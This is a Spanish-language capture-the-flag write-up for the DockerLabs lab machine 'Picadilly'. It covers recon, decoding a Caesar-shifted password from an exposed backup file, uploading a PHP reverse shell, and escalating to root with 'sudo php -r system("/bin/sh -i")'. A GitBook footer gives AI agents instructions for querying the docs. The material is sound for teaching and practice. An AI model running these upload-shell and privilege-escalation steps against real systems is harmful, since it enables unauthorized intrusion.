> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/picadilly.md).

# Picadilly

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone HTTP y HTTPS.

La cadena empieza con un `backup.txt` publicado en el puerto 80. Ese archivo contiene una password cifrada para el usuario `mateo` y una pista hacia el cifrado Cesar. En el puerto 443 se descubre el virtual host `picadilly.lab`, donde existe una funcionalidad de subida de archivos. Subiendo una reverse shell PHP se obtiene acceso como `www-data`.

Desde `www-data`, se identifica el usuario local `mateo` y se descifra su password aplicando Cesar con desplazamiento `-3`. La escalada final llega por una regla `sudo` que permite ejecutar `/usr/bin/php` como root.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/GdQgxCUQxjooMe6ne05y" alt="Escaneo Nmap"></div>

El escaneo muestra dos puertos abiertos:

| Puerto  | Servicio | Version                    |
| ------- | -------- | -------------------------- |
| 80/tcp  | HTTP     | Apache httpd 2.4.59 Debian |
| 443/tcp | HTTPS    | Apache httpd 2.4.59 Debian |

En el puerto 80 hay directory listing y aparece un archivo interesante:

```
backup.txt
```

En el certificado del puerto 443 se identifica el nombre:

```
picadilly.lab
```

Se anade el dominio al archivo `/etc/hosts`:

```
172.17.0.2 picadilly.lab
```

***

## Backup expuesto

Se accede a `backup.txt` desde el navegador:

```
http://172.17.0.2/backup.txt
```

<div align="center"><img src="/files/A6HJlh6xZPj5icxO7s8j" alt="backup.txt"></div>

El archivo indica que contiene la password del usuario `mateo`:

```
hvdvfuadcb
```

La pista menciona a un antiguo emperador romano y el desplazamiento de letras, lo que apunta a cifrado Cesar.

Aplicando un desplazamiento de `-3`, la password queda:

```
esascrxazy
```

***

## Servicio HTTPS

El puerto 443 sirve una web en `picadilly.lab`:

<div align="center"><img src="/files/7aIEPVfhpMMzcIxq7lKZ" alt="Web Picadilly"></div>

La pagina muestra contenido sobre Picadilly Circus y una funcionalidad para subir posts.

Se realiza enumeracion web con Gobuster:

```bash
gobuster dir -k -u https://picadilly.lab/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/QbbEUbIe6aN5gkcxPAxb" alt="Gobuster HTTPS"></div>

Aparecen recursos interesantes:

| Ruta             | Codigo | Comentario              |
| ---------------- | ------ | ----------------------- |
| `/index.php`     | 200    | Pagina principal        |
| `/uploads/`      | 301    | Directorio con listing  |
| `/uploads.php`   | 302    | Funcionalidad de subida |
| `/server-status` | 403    | Restringido             |

***

## Subida de reverse shell

Se prepara una reverse shell PHP y se sube desde el formulario web. Tras subirla, el contenido aparece renderizado en la pagina:

<div align="center"><img src="/files/eVXPt89gtbK6chX4yFQt" alt="Reverse shell subida"></div>

El directorio `/uploads/` tiene directory listing y muestra el archivo:

```
revshell.php
```

<div align="center"><img src="/files/DvcnZyanmE1cjORlvDdh" alt="Directory listing uploads"></div>

Se deja un listener en la maquina atacante:

```bash
nc -lvnp 4444
```

Al ejecutar el archivo desde el navegador:

```
https://picadilly.lab/uploads/revshell.php
```

se recibe una shell como `www-data`:

<div align="center"><img src="/files/ZkZPjKlbcipNJYaebNvg" alt="Reverse shell como www-data"></div>

***

## Enumeracion local

Como `www-data`, se revisan permisos de `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

<div align="center"><img src="/files/AKXbgwqgNm1pTA0ZigdR" alt="Enumeracion local como www-data"></div>

No hay permisos de `sudo` para `www-data`, pero aparece `/usr/bin/pkexec` con SUID. Se revisa la tecnica de GTFOBins:

<div align="center"><img src="/files/pZfCLxZRxVEarmODE6NG" alt="GTFOBins pkexec"></div>

La ruta final no sale por `pkexec`, sino por el usuario local descubierto en `/etc/passwd`:

```bash
cat /etc/passwd
```

<div align="center"><img src="/files/ooxa9QPhy13nzH76hypG" alt="Usuario mateo en passwd"></div>

El usuario interesante es:

```
mateo
```

***

## Acceso como mateo

Con la password descifrada desde `backup.txt`, se cambia al usuario `mateo`:

```bash
su mateo
whoami
```

<div align="center"><img src="/files/8UOIqxvtUv4vEYsVyDxk" alt="su mateo"></div>

La password valida es:

```
easycrazy
```

***

## Escalada a root

Como `mateo`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/QpKAFv68J8HPOmwTiXRp" alt="sudo -l de mateo"></div>

El usuario puede ejecutar PHP como root sin password:

```
(ALL) NOPASSWD: /usr/bin/php
```

En GTFOBins se consulta la tecnica de shell con PHP:

<div align="center"><img src="/files/NQdHd1SVDOViDnum7kXu" alt="GTFOBins php"></div>

Se ejecuta PHP con `sudo` para lanzar una shell:

```bash
sudo /usr/bin/php -r 'system("/bin/sh -i");'
whoami
```

<div align="center"><img src="/files/GRY1HUDMjlv9xEwc6XN9" alt="Shell root con PHP"></div>

La shell final es de `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar HTTP y HTTPS.
2. Lectura de `backup.txt` desde el puerto 80.
3. Descifrado Cesar `-3` para obtener la password de `mateo`.
4. Identificacion del virtual host `picadilly.lab` desde el certificado TLS.
5. Enumeracion con Gobuster sobre HTTPS.
6. Descubrimiento de `/uploads.php` y `/uploads/`.
7. Subida de una reverse shell PHP.
8. Shell como `www-data`.
9. Lectura de `/etc/passwd` para confirmar el usuario `mateo`.
10. Acceso local con `su mateo`.
11. Abuso de `sudo /usr/bin/php` para obtener shell como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/picadilly.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
